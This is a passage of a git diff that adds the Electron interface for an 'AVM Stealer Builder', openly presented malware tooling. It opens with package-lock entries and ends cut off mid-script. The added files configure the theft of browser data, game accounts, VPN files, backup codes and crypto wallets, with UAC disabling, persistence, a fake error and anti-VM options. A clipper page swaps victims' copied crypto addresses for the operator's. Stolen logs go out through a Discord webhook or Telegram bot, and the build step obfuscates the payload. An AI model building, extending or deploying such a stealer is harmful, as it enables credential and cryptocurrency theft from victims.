"sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sumchecker": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", + "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "debug": "^4.1.0" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "dev": true, + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/temp-file": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/temp-file/-/temp-file-3.4.0.tgz", + "integrity": "sha512-C5tjlC/HCtVUOi3KWVokd4vHVViOmGjtLwIh4MuzPo/nMYTV/p1urt3RnMz2IWXDdKEGJH3k5+KPxtqRsUYGtg==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-exit-hook": "^2.0.1", + "fs-extra": "^10.0.0" + } + }, + "node_modules/temp-file/node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/temp-file/node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/temp-file/node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/tmp": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.5.tgz", + "integrity": "sha512-voyz6MApa1rQGUxT3E+BK7/ROe8itEx7vD8/HEvt4xwXucvQ5G5oeEiHkmHZJuBO21RpOf+YYm9MOivj709jow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.14" + } + }, + "node_modules/tmp-promise": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/tmp-promise/-/tmp-promise-3.0.3.tgz", + "integrity": "sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tmp": "^0.2.0" + } + }, + "node_modules/truncate-utf8-bytes": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz", + "integrity": "sha512-95Pu1QXQvruGEhv62XCMO3Mm90GscOCClvrIUwCM0PYOXK3kaF3l3sIHxx71ThJfcbM2O5Au6SO3AWCSEfW4mQ==", + "dev": true, + "license": "WTFPL", + "dependencies": { + "utf8-byte-length": "^1.0.1" + } + }, + "node_modules/type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/utf8-byte-length": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", + "integrity": "sha512-Xn0w3MtiQ6zoz2vFyUVruaCL53O/DwUvkEeOvj+uulMm0BkUGYWmBYVyElqZaSLhY6ZD0ulfU3aBra2aVT4xfA==", + "dev": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/verror": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.1.tgz", + "integrity": "sha512-veufcmxri4e3XSrT0xwfUR7kguIkaxBeosDg00yDWhk49wdwkSUrvvsm7nc75e1PUyvIeZj6nS8VQRYz2/S4Xg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/xmlbuilder": { + "version": "15.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", + "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "license": "ISC" + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/zip-stream": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-4.1.1.tgz", + "integrity": "sha512-9qv4rlDiopXg4E69k+vMHjNN63YFMe9sZMrdlvKnCjlCRWeCBswPPMPUfx+ipsAWq1LXHe70RcbaHdJJpS6hyQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "archiver-utils": "^3.0.4", + "compress-commons": "^4.1.2", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/zip-stream/node_modules/archiver-utils": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-3.0.4.tgz", + "integrity": "sha512-KVgf4XQVrTjhyWmx6cte4RxonPLR9onExufI1jhvw/MQ4BB6IsZD5gT8Lq+u/+pRkWna/6JoHpiQioaqFP5Rzw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "glob": "^7.2.3", + "graceful-fs": "^4.2.0", + "lazystream": "^1.0.0", + "lodash.defaults": "^4.2.0", + "lodash.difference": "^4.5.0", + "lodash.flatten": "^4.4.0", + "lodash.isplainobject": "^4.0.6", + "lodash.union": "^4.6.0", + "normalize-path": "^3.0.0", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">= 10" + } + } + } +} diff --git a/gui/package.json b/gui/package.json new file mode 100644 index 0000000..a52114c --- /dev/null +++ b/gui/package.json @@ -0,0 +1,16 @@ +{ + "name": "avm-builder", + "version": "2.0", + "description": "", + "main": "main.js", + "scripts": { + "start": "electron .", + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "Adapters", + "license": "GPL-3.0-only", + "devDependencies": { + "electron": "^23.3.13", + "electron-builder": "^24.13.3" + } +} \ No newline at end of file diff --git a/gui/src/about.html b/gui/src/about.html new file mode 100644 index 0000000..ad79309 --- /dev/null +++ b/gui/src/about.html @@ -0,0 +1,73 @@ + + + + + + + + + + AVM Stealer Builder + + + + + + +
+
+

About

+
+
+ +

+
+
+
+
+ + +
+ + + + + + \ No newline at end of file diff --git a/gui/src/binder.html b/gui/src/binder.html new file mode 100644 index 0000000..5d5a1e8 --- /dev/null +++ b/gui/src/binder.html @@ -0,0 +1,203 @@ + + + + + + + + + + AVM Stealer Builder + + + + + + +
+ +
+ +
+

AVM Clipper

+ +
+ +
+ +
+
+ + Bitcoin (BTC) +
+
+ +
Invalid BTC Address!
+
+
+ + +
+
+ + Ethereum (ETH/ERC20) +
+
+ +
Invalid ETH Address!
+
+
+ + +
+
+ + Litecoin (LTC) +
+
+ +
Invalid LTC Address!
+
+
+ + +
+
+ + Tron (TRX/TRC20) +
+
+ +
Invalid TRX Address!
+
+
+ + +
+
+ + Bitcoin Cash (BCH) +
+
+ +
Invalid BCH Address!
+
+
+ + +
+
+ + Monero (XMR) +
+
+ +
Invalid XMR Address!
+
+
+ + +
+
+ + Ripple (XRP) +
+
+ +
Invalid XRP Address!
+
+
+ + +
+
+ + Zcash (ZEC) +
+
+ +
Invalid Zcash Address!
+
+
+ + +
+
+ + Dogecoin (DOGE) +
+
+ +
Invalid Doge Address!
+
+
+ + +
+
+ + Solana (SOL) +
+
+ +
Invalid SOL Address!
+
+
+
+ +
+ + + +
+
+ + + + + + + \ No newline at end of file diff --git a/gui/src/build.html b/gui/src/build.html new file mode 100644 index 0000000..5d5d968 --- /dev/null +++ b/gui/src/build.html @@ -0,0 +1,188 @@ + + + + + + + + + + + AVM Stealer Builder + + + + + + +
+
+

AVM Builder

+
+ + +
+
+ +
+
+
[ + ] AVM - Builder - Version + [0.1]
+
[ + ] Press "Build" button to + continue... +
+
+
+ +
+ + + + + + + + + + + + + \ No newline at end of file diff --git a/gui/src/checkbox.json b/gui/src/checkbox.json new file mode 100644 index 0000000..5b0e574 --- /dev/null +++ b/gui/src/checkbox.json @@ -0,0 +1,12 @@ +{ + "games": true, + "browsers": true, + "filevpn": true, + "backupcodes": true, + "wallet": true, + "disableuac": true, + "computerinfo": true, + "fakeerror": true, + "startup": true, + "antivm": false +} \ No newline at end of file diff --git a/gui/src/index.html b/gui/src/index.html new file mode 100644 index 0000000..4931863 --- /dev/null +++ b/gui/src/index.html @@ -0,0 +1,115 @@ + + + + + + + + + + AVM Stealer Builder + + + + + + +
+
+

AVM Builder

+ +
+
+
+
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+
+
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+
+
+
+
+ + + + + + + \ No newline at end of file diff --git a/gui/src/info.html b/gui/src/info.html new file mode 100644 index 0000000..a66e63a --- /dev/null +++ b/gui/src/info.html @@ -0,0 +1,112 @@ + + + + + + + + + + + AVM Stealer Builder + + + + + + +
+
+

Log Informations

+ + +
+ +
+
+
+ +
Invalid Discord Webhook!
+ +
+ + +
+
+
+ +
Invalid Bot Token!
+ +
+
+ +
Invalid Chat ID!
+ +
+
+
+ +
+ + +
+ +
+ + + + + + + \ No newline at end of file diff --git a/gui/src/reset_storage.html b/gui/src/reset_storage.html new file mode 100644 index 0000000..8f4e94b --- /dev/null +++ b/gui/src/reset_storage.html @@ -0,0 +1,99 @@ + + + + + + Reset Storage + + + + +
+

๐Ÿ”„ Reset Storage

+

Click the button below to clear all saved webhook and bot information.

+ + +

โœ… Storage cleared successfully!

+
+ + + + + \ No newline at end of file diff --git a/gui/src/scripts/script_about.js b/gui/src/scripts/script_about.js new file mode 100644 index 0000000..9022641 --- /dev/null +++ b/gui/src/scripts/script_about.js @@ -0,0 +1,33 @@ +const { shell } = require('electron'); +const sidebar = document.querySelector('.sidebar'); +const togglebtn = document.querySelector('.toggle-btn'); +togglebtn.addEventListener('click', () => { + sidebar.classList.toggle('active'); +}); +const githubLink = 'https://github.com/AVMTools/avm-stealer'; +document.getElementById('github-link').addEventListener('click', () => { + shell.openExternal(githubLink); +}); +const telegramLink = 'https://t.me/avmtools'; +document.getElementById('telegram-link').addEventListener('click', () => { + shell.openExternal(telegramLink); +}); +document.addEventListener('DOMContentLoaded', () => { + const url = 'https://raw.githubusercontent.com/AVMTools/avm-stealer/refs/heads/main/gui/about'; + const aboutTextElement = document.getElementById('about-text'); + const cacheBustingUrl = `${url}?t=${new Date().getTime()}`; + fetch(cacheBustingUrl) + .then(response => { + if (!response.ok) { + throw new Error('Network response was not ok'); + } + return response.text(); + }) + .then(data => { + aboutTextElement.innerHTML = data; + }) + .catch(error => { + console.error('Error fetching the about text:', error); + aboutTextElement.innerHTML = '

Failed to load content. Please try again later.

'; + }); +}); diff --git a/gui/src/scripts/script_binder.js b/gui/src/scripts/script_binder.js new file mode 100644 index 0000000..dc751f3 --- /dev/null +++ b/gui/src/scripts/script_binder.js @@ -0,0 +1,75 @@ +const sidebar = document.querySelector('.sidebar'); +const togglebtn = document.querySelector('.toggle-btn'); +togglebtn.addEventListener('click', () => { + sidebar.classList.toggle('active'); +}); +const patterns = { + btc: /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,41}$/, + eth: /^0x[a-fA-F0-9]{40}$/, + ltc: /^(L|M|3|ltc1)[a-km-zA-HJ-NP-Z1-9]{26,33}$/, + trx: /^T[a-zA-Z0-9]{28,33}$/, + bch: /^((bitcoincash:)?(q|p)[a-z0-9]{41})$/, + xmr: /^4[0-9AB][1-9A-HJ-NP-Za-km-z]{92,95}$/, + xrp: /^r[0-9a-zA-Z]{24,34}$/, + zcash: /^t1[0-9A-z]{32,39}$/, + doge: /^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32,61}$/, + sol: /^[1-9A-HJ-NP-Za-km-z]{32,44}$/ +}; +const inputs = document.querySelectorAll('.input-wrapper input'); +const errorBubbles = document.querySelectorAll('.error-bubble'); +const saveButton = document.getElementById('saveButton'); +const resetButton = document.getElementById('resetButton'); +function showError(input, bubble) { + bubble.classList.add('show'); + input.style.borderColor = '#ff4757'; + setTimeout(() => { + bubble.classList.remove('show'); + input.style.borderColor = 'rgba(255, 255, 255, 0.1)'; + input.value = ''; + }, 3000); +} +inputs.forEach(input => { + input.addEventListener('change', () => { + const val = input.value.trim(); + if (val === '') return; + const currency = input.id; + const pattern = patterns[currency]; + const bubble = input.parentElement.querySelector('.error-bubble'); + if (!pattern.test(val)) { + showError(input, bubble); + } + }); + const saved = localStorage.getItem(`crypto_${input.id}`); + if (saved) input.value = saved; +}); +saveButton.addEventListener('click', () => { + let allValid = true; + inputs.forEach(input => { + const val = input.value.trim(); + if (val !== '') { + const pattern = patterns[input.id]; + if (!pattern.test(val)) { + allValid = false; + showError(input, input.parentElement.querySelector('.error-bubble')); + } else { + localStorage.setItem(`crypto_${input.id}`, val); + } + } else { + localStorage.removeItem(`crypto_${input.id}`); + } + }); + if (allValid) { + showNotification('Clipper addresses saved successfully!', 'success'); + } +}); +resetButton.addEventListener('click', () => { + inputs.forEach(input => { + input.value = ''; + localStorage.removeItem(`crypto_${input.id}`); + }); + showNotification('All addresses have been cleared.', 'info'); +}); +function showHelpMessage() { + showNotification('Enter your addresses. Victims copied addresses will be replaced with yours if types match.', 'info'); +} +document.getElementById('helpButton').addEventListener('click', showHelpMessage); diff --git a/gui/src/scripts/script_build.js b/gui/src/scripts/script_build.js new file mode 100644 index 0000000..f910217 --- /dev/null +++ b/gui/src/scripts/script_build.js @@ -0,0 +1,303 @@ +const { exec } = require('child_process'); +const path = require('path'); +const fs = require('fs'); +const https = require('https'); + +let outputBox = null; + +const sidebar = document.querySelector('.sidebar'); +const togglebtn = document.querySelector('.toggle-btn'); + +togglebtn.addEventListener('click', () => { + sidebar.classList.toggle('active'); +}); + +function appendToOutputBox(html) { + if (!outputBox) return; + const div = document.createElement('div'); + div.className = 'log-message'; + div.innerHTML = html; + outputBox.appendChild(div); + outputBox.scrollTop = outputBox.scrollHeight; +} + +function displayMessages(messages, index = 0) { + if (index >= messages.length) return; + appendToOutputBox(messages[index]); + setTimeout(() => displayMessages(messages, index + 1), 600); +} + +function runScriptFile(scriptFilePath, showOutputOnSuccess = false) { + return new Promise((resolve, reject) => { + exec(`node "${scriptFilePath}"`, (error, stdout, stderr) => { + if (error) { + console.error(`Error executing ${scriptFilePath}: ${error}`); + appendToOutputBox(` Error executing ${scriptFilePath}: ${error.message}`); + appendToOutputBox(` Output: ${stdout.replace(/\n/g, '
')}`); + reject(error); + return; + } + if (stderr) { + console.error(`stderr Error: ${stderr}`); + appendToOutputBox(` stderr Error: ${stderr}`); + appendToOutputBox(` Output: ${stdout.replace(/\n/g, '
')}`); + reject(new Error(stderr)); + return; + } + if (showOutputOnSuccess) { + const filteredOutput = stdout + .split('\n') + .filter(line => !line.includes('add:') && !line.includes('del:') && !line.includes('not found:')) + .join('\n'); + appendToOutputBox(` ${scriptFilePath} was executed successfully.`); + appendToOutputBox(` Output: ${filteredOutput.replace(/\n/g, '
')}`); + } + resolve(); + }); + }); +} + +function delay(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function build() { + return new Promise((resolve, reject) => { + const buildBatPath = path.resolve(__dirname, '..', '..', 'build'); + const command = `pkg . --output app.exe --targets node14-win-x64 --compress=GZip`; + exec(command, { cwd: buildBatPath, env: { ...process.env, NODE_NO_WARNINGS: '1' } }, (error, stdout, stderr) => { + if (error) { + console.error(`Error executing pkg command: ${error}`); + appendToOutputBox(` Error executing pkg command: ${error.message}`); + appendToOutputBox(` Output: ${stdout.replace(/\n/g, '
')}`); + appendToOutputBox(` stderr Output: ${stderr.replace(/\n/g, '
')}`); + reject(error); + return; + } + if (stderr) { + console.error(`stderr Error: ${stderr}`); + appendToOutputBox(` stderr Error: ${stderr}`); + reject(new Error(stderr)); + return; + } + console.log('pkg command executed successfully.'); + appendToOutputBox(` Compilation Completed Successfully !`); + setTimeout(() => { + appendToOutputBox(` Click the button in the top right to change the EXE resources.`); + document.getElementById('helpButton').style.display = 'block'; + const modal = document.getElementById('resourceModal'); + const helpBtn = document.getElementById('helpButton'); + if (modal && helpBtn) { + helpBtn.onclick = function () { + modal.classList.add('active'); + if (window.initResourcePopup) { + window.initResourcePopup(); + } + }; + } + resolve(); + }, 200); + }); + }); +} + +document.addEventListener('DOMContentLoaded', () => { + const buildButton = document.querySelector('label[for="fileInput"]'); + outputBox = document.getElementById('outputBox'); + const helpButton = document.getElementById('helpButton'); + const newButton = document.getElementById('newButton'); + helpButton.style.display = 'none'; + newButton.style.display = 'none'; + + function checkInfo() { + const discordWebhookURL = localStorage.getItem('discordWebhookURL'); + const telegramBotToken = localStorage.getItem('telegramBotToken'); + const telegramChatID = localStorage.getItem('telegramChatID'); + if (discordWebhookURL || (telegramBotToken && telegramChatID)) { + if (discordWebhookURL) { + return { method: 'Discord Webhook', discordWebhookURL }; + } else { + return { method: 'Telegram Bot', telegramBotToken, telegramChatID }; + } + } + return null; + } + + const { ipcRenderer } = require('electron'); + + async function loadSavedInfoToLocalStorage() { + try { + const data = await ipcRenderer.invoke('get-info'); + if (data) { + if (data.discordWebhookURL) localStorage.setItem('discordWebhookURL', data.discordWebhookURL); + if (data.telegramBotToken) localStorage.setItem('telegramBotToken', data.telegramBotToken); + if (data.telegramChatID) localStorage.setItem('telegramChatID', data.telegramChatID); + } + } catch (error) { + console.error('Failed to load saved info to localStorage:', error); + } + } + + loadSavedInfoToLocalStorage(); + + function getCheckboxStates() { + return new Promise((resolve, reject) => { + const filePath = path.resolve(__dirname, 'checkbox.json'); + fs.readFile(filePath, 'utf8', (err, data) => { + if (err) { + console.error('Error reading checkbox.json:', err); + reject(err); + return; + } + try { + const jsonData = JSON.parse(data); + resolve(jsonData); + } catch (parseError) { + console.error('Error parsing checkbox.json:', parseError); + reject(parseError); + } + }); + }); + } + + function findAppExe() { + return new Promise((resolve, reject) => { + const dirsToCheck = [path.resolve(__dirname, '../../'), path.resolve(__dirname, '../')]; + let foundPath = null; + for (const dir of dirsToCheck) { + const filePath = path.join(dir, 'app.exe'); + if (fs.existsSync(filePath)) { + foundPath = filePath; + break; + } + } + if (foundPath) { + resolve(foundPath); + } else { + reject(new Error('app.exe not found')); + } + }); + } + + function displayMessagesLocal(messages, isReadyToFinalize) { + return new Promise((resolve) => { + let index = 0; + function showNextMessage() { + if (index < messages.length) { + appendToOutputBox(messages[index]); + index++; + setTimeout(showNextMessage, 1600); + } else if (isReadyToFinalize && isReadyToFinalize()) { + resolve(); + } else { + setTimeout(showNextMessage, 500); + } + } + showNextMessage(); + }); + } + + buildButton.addEventListener('click', () => { + const info = checkInfo(); + if (!info) { + window.location.href = 'info.html?error=missing_info'; + return; + } + getCheckboxStates().then(checkboxStates => { + const checkedCheckboxIDs = Object.keys(checkboxStates).filter(id => checkboxStates[id]); + const checkedCheckboxIDsStr = checkedCheckboxIDs.join(' | '); + let messages = [ + ` Build initialized!`, + ` Features Saved!`, + ` Clipper adress saved!`, + ` Method: ${info.method}` + ]; + const { method, discordWebhookURL, telegramBotToken, telegramChatID } = info; + outputBox.innerHTML = ''; + let compilationReady = false; + const displayPromise = displayMessagesLocal(messages, () => compilationReady); + const featuresFilePath = path.resolve(__dirname, '../../stub/features.js'); + runScriptFile(featuresFilePath, false) + .then(() => { + let scriptFilePath; + if (method === 'Discord Webhook') { + messages.push(` Discord Webhook URL: ${discordWebhookURL}`); + messages.push(` Features chosen: ${checkedCheckboxIDsStr}`); + messages.push(` AES256 Encryption Success!`); + messages.push(` JS Confuser Encryption Success!`); + scriptFilePath = path.resolve(__dirname, 